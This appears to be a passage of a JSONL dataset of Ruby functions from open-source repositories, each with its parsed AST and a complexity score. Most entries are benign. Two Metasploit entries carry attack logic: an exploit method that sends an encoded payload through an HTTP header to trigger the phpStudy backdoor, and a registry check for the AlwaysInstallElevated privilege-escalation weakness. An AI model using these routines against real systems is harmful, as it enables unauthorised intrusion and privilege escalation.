'ai_translation_model'\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai_translation_model\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai_translation_model\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"custom:\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai_translation_model\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]},\"last\"]}]},{\"type\":\"lvasgn\",\"children\":[\"persona_settings\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ai_translation_locale_detector_persona\"]},{\"type\":\"str\",\"children\":[\"ai_translation_post_raw_translator_persona\"]},{\"type\":\"str\",\"children\":[\"ai_translation_topic_title_translator_persona\"]},{\"type\":\"str\",\"children\":[\"ai_translation_short_text_translator_persona\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"default_persona_ids\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[-27]},{\"type\":\"int\",\"children\":[-28]},{\"type\":\"int\",\"children\":[-29]},{\"type\":\"int\",\"children\":[-30]}]}]},{\"type\":\"lvasgn\",\"children\":[\"persona_ids_query\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persona_settings\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT value FROM site_settings WHERE name = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" UNION \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"persona_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"lvar\",\"children\":[\"persona_ids_query\"]}]},\"compact\"]}]},{\"type\":\"lvasgn\",\"children\":[\"all_persona_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_persona_ids\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"persona_ids\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]},\"uniq\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE ai_personas\\n\"]},{\"type\":\"str\",\"children\":[\"SET default_llm_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE id IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_persona_ids\"]}]},{\"type\":\"str\",\"children\":[\") AND default_llm_id IS NULL\\n\"]}]}]}]},null]}]}]}","id":"3870833e-cb3c-48f8-a879-45495e54df64"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/answerhub.rb","start_line":36,"raw_source":"def execute\n    puts \"Now starting the AnswerHub Import\"\n    puts \"DB Name: #{DB_NAME}\"\n    puts \"Table Prefix: #{TABLE_PREFIX}\"\n    puts\n    import_users\n    import_categories\n    import_topics\n    import_posts\n    import_groups\n    add_users_to_groups\n    add_moderators\n    add_admins\n    import_avatars\n    create_permalinks\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Now starting the AnswerHub Import\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DB Name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Table Prefix: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\"]},{\"type\":\"send\",\"children\":[null,\"import_users\"]},{\"type\":\"send\",\"children\":[null,\"import_categories\"]},{\"type\":\"send\",\"children\":[null,\"import_topics\"]},{\"type\":\"send\",\"children\":[null,\"import_posts\"]},{\"type\":\"send\",\"children\":[null,\"import_groups\"]},{\"type\":\"send\",\"children\":[null,\"add_users_to_groups\"]},{\"type\":\"send\",\"children\":[null,\"add_moderators\"]},{\"type\":\"send\",\"children\":[null,\"add_admins\"]},{\"type\":\"send\",\"children\":[null,\"import_avatars\"]},{\"type\":\"send\",\"children\":[null,\"create_permalinks\"]}]}]}","id":"a5f400b4-61f7-4dea-8b03-3147070cf021"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ldap/active_directory/security_descriptor_matcher.rb","start_line":162,"raw_source":"def matches?\n          @matchers.any? { |matcher| matcher.matches? }\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"matches?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@matchers\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"matcher\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matcher\"]},\"matches?\"]}]}]}","id":"e0ec9cfc-ac6c-41f7-8b88-28f09db8618f"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20231208165353_add_article_ids_to_billboards.rb","start_line":6,"raw_source":"def down\n    safety_assured { remove_column :display_ads, :preferred_article_ids, :integer, array: true }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"display_ads\"]},{\"type\":\"sym\",\"children\":[\"preferred_article_ids\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"b43d1b62-5b19-4785-86c0-3377ce764aca"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb","start_line":87,"raw_source":"def setup\n    @old_store_full_class_name = ActiveRecord::Base.store_full_class_name\n    ActiveRecord::Base.store_full_class_name = store_full_class_name\n\n    post = Namespaced::Post.create(title: \"Great stuff\", body: \"This is not\", author_id: 1)\n    @tagging = post.create_tagging!\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@old_store_full_class_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"store_full_class_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"store_full_class_name=\",{\"type\":\"send\",\"children\":[null,\"store_full_class_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaced\"]},\"Post\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Great stuff\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"This is not\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@tagging\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"create_tagging!\"]}]}]}]}","id":"b1ccee52-9268-4deb-89fb-c6493251b0dc"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/migration/column_dropper_spec.rb","start_line":4,"raw_source":"def has_column?(table, column)\n    DB.exec(<<~SQL, table: table, column: column) == 1\n      SELECT 1\n      FROM INFORMATION_SCHEMA.COLUMNS\n      WHERE\n        table_schema = 'public' AND\n        table_name = :table AND\n        column_name = :column\n    SQL\n  end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"has_column?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT 1\\n\"]},{\"type\":\"str\",\"children\":[\"FROM INFORMATION_SCHEMA.COLUMNS\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"  table_schema = 'public' AND\\n\"]},{\"type\":\"str\",\"children\":[\"  table_name = :table AND\\n\"]},{\"type\":\"str\",\"children\":[\"  column_name = :column\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"table\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"7df7b52d-f94e-4eeb-bb4f-df7fde2320c5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":1672,"raw_source":"def test_find_by_two_attributes_that_are_both_aggregates\n    balance = customers(:david).balance\n    address = customers(:david).address\n    assert_kind_of Money, balance\n    assert_kind_of Address, address\n    found_customer = Customer.find_by_balance_and_address(balance, address)\n    assert_equal customers(:david), found_customer\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_by_two_attributes_that_are_both_aggregates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"balance\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"balance\"]}]},{\"type\":\"lvasgn\",\"children\":[\"address\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"address\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Money\"]},{\"type\":\"lvar\",\"children\":[\"balance\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Address\"]},{\"type\":\"lvar\",\"children\":[\"address\"]}]},{\"type\":\"lvasgn\",\"children\":[\"found_customer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"find_by_balance_and_address\",{\"type\":\"lvar\",\"children\":[\"balance\"]},{\"type\":\"lvar\",\"children\":[\"address\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},{\"type\":\"lvar\",\"children\":[\"found_customer\"]}]}]}]}","id":"170fb680-9d25-400a-b857-e8d8191d6e43"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/empty_line_between_expect_offense_and_correction.rb","start_line":40,"raw_source":"def on_send(node)\n          return unless (next_sibling = node.right_sibling)\n          return unless next_sibling.respond_to?(:send_type?) && next_sibling.send_type?\n\n          method_name = next_sibling.method_name\n          return unless CORRECTION_EXPECTATION_METHODS.include?(method_name)\n\n          range = offense_range(node)\n          return unless range.last_line + 1 == next_sibling.loc.line\n\n          add_offense(range, message: format(MSG, expect_correction: method_name)) do |corrector|\n            corrector.insert_after(range, \"\\n\")\n          end\n        end","complexity_score":25.05,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"next_sibling\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"right_sibling\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_sibling\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"send_type?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_sibling\"]},\"send_type?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"method_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_sibling\"]},\"method_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CORRECTION_EXPECTATION_METHODS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"method_name\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"offense_range\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"last_line\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_sibling\"]},\"loc\"]},\"line\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expect_correction\"]},{\"type\":\"lvar\",\"children\":[\"method_name\"]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_after\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"ca278e20-1585-4f75-a65e-cb69bb13eff9"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/base.rb","start_line":991,"raw_source":"def create_users(rows, &block)\n    @imported_usernames = {}\n\n    create_records(rows, \"user\", USER_COLUMNS, &block)\n\n    create_custom_fields(\"user\", \"username\", @imported_usernames.keys) do |username|\n      { record_id: @imported_usernames[username], value: username }\n    end\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rows\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@imported_usernames\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"create_records\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"const\",\"children\":[null,\"USER_COLUMNS\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_custom_fields\",{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@imported_usernames\"]},\"keys\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@imported_usernames\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]}]}]}","id":"1bdcd180-f2e2-47fa-80cb-0f17783e1235"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/hash_each_methods.rb","start_line":184,"raw_source":"def check_argument(variable)\n          return unless variable.block_argument?\n\n          (@block_args ||= []).push(variable)\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_argument\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"block_argument?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@block_args\"]},{\"type\":\"array\",\"children\":[]}]}]},\"push\",{\"type\":\"lvar\",\"children\":[\"variable\"]}]}]}]}","id":"d0264882-296d-4c7d-a952-1aa57728b44a"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_request_single.rb","start_line":42,"raw_source":"def assert_invalid(req, msg, err = Puma::HttpParserError)\n    error = assert_raises(err) { create_client req }\n    assert_equal msg, error.message\n    assert_equal 'close', @client.env[HTTP_CONNECTION],\n      \"env['HTTP_CONNECTION'] should be set to 'close'\"\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_invalid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]},{\"type\":\"arg\",\"children\":[\"msg\"]},{\"type\":\"optarg\",\"children\":[\"err\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"HttpParserError\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"lvar\",\"children\":[\"err\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create_client\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"env\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"HTTP_CONNECTION\"]}]},{\"type\":\"str\",\"children\":[\"env['HTTP_CONNECTION'] should be set to 'close'\"]}]}]}]}","id":"4a887a6b-c49a-41c4-a9f0-ac3c1d4967b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/seeders/ci/variables_group_seeder.rb","start_line":11,"raw_source":"def initialize(params)\n          @group = Group.find_by_name(params[:name])\n          @seed_count = params[:seed_count] || DEFAULT_SEED_COUNT\n          @environment_scope = params[:environment_scope] || DEFAULT_ENV\n          @prefix = params[:prefix] || DEFAULT_PREFIX\n        end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@group\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"find_by_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@seed_count\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"seed_count\"]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_SEED_COUNT\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@environment_scope\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"environment_scope\"]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_ENV\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@prefix\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"prefix\"]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_PREFIX\"]}]}]}]}]}","id":"1677fbc0-6a69-4bd8-800f-d76ba84c2a90"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/phpstudy_backdoor_rce.rb","start_line":70,"raw_source":"def exploit\n    uri = target_uri.path\n    print_good('Sending shellcode')\n    send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(uri),\n      'headers' => {\n        'Accept-Encoding' => 'gzip,deflate',\n        'Accept-Charset' => Rex::Text.encode_base64(payload.encoded)\n      }\n    })\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Sending shellcode\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept-Encoding\"]},{\"type\":\"str\",\"children\":[\"gzip,deflate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept-Charset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]}]}]}]}]}]}","id":"ed6ba609-2baa-439f-9dc2-633aebb39574"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/databases/postgresql/indexer.rb","start_line":56,"raw_source":"def build_upsert_operations(ref)\n          ref.jsons.each do |hash|\n            @operations << { \"#{ref.partition_name}\": { upsert: build_indexed_json(hash, ref) }, ref: ref }\n          end\n        end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_upsert_operations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"jsons\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@operations\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"partition_name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"upsert\"]},{\"type\":\"send\",\"children\":[null,\"build_indexed_json\",{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]}]}]}","id":"4b90be5a-4956-44a5-8fc9-ff027d85ccd8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/always_install_elevated.rb","start_line":66,"raw_source":"def check\n    install_elevated = \"AlwaysInstallElevated\"\n    installer = \"SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Installer\"\n    hkcu = \"HKEY_CURRENT_USER\\\\#{installer}\"\n    hklm = \"HKEY_LOCAL_MACHINE\\\\#{installer}\"\n\n    local_machine_value = registry_getvaldata(hklm, install_elevated)\n\n    if local_machine_value.nil?\n      vprint_error(\"#{hklm}\\\\#{install_elevated} does not exist or is not accessible.\")\n      return Msf::Exploit::CheckCode::Safe\n    elsif local_machine_value == 0\n      vprint_error(\"#{hklm}\\\\#{install_elevated} is #{local_machine_value}.\")\n      return Msf::Exploit::CheckCode::Safe\n    else\n      vprint_good(\"#{hklm}\\\\#{install_elevated} is #{local_machine_value}.\")\n      current_user_value = registry_getvaldata(hkcu, install_elevated)\n    end\n\n    if current_user_value.nil?\n      vprint_error(\"#{hkcu}\\\\#{install_elevated} does not exist or is not accessible.\")\n      return Msf::Exploit::CheckCode::Safe\n    elsif current_user_value == 0\n      vprint_error(\"#{hkcu}\\\\#{install_elevated} is #{current_user_value}.\")\n      return Msf::Exploit::CheckCode::Safe\n    else\n      vprint_good(\"#{hkcu}\\\\#{install_elevated} is #{current_user_value}.\")\n      return Msf::Exploit::CheckCode::Vulnerable\n    end\n  end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"install_elevated\",{\"type\":\"str\",\"children\":[\"AlwaysInstallElevated\"]}]},{\"type\":\"lvasgn\",\"children\":[\"installer\",{\"type\":\"str\",\"children\":[\"SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Installer\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hkcu\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HKEY_CURRENT_USER\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"installer\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hklm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HKEY_LOCAL_MACHINE\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"installer\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"local_machine_value\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"hklm\"]},{\"type\":\"lvar\",\"children\":[\"install_elevated\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_machine_value\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hklm\"]}]},{\"type\":\"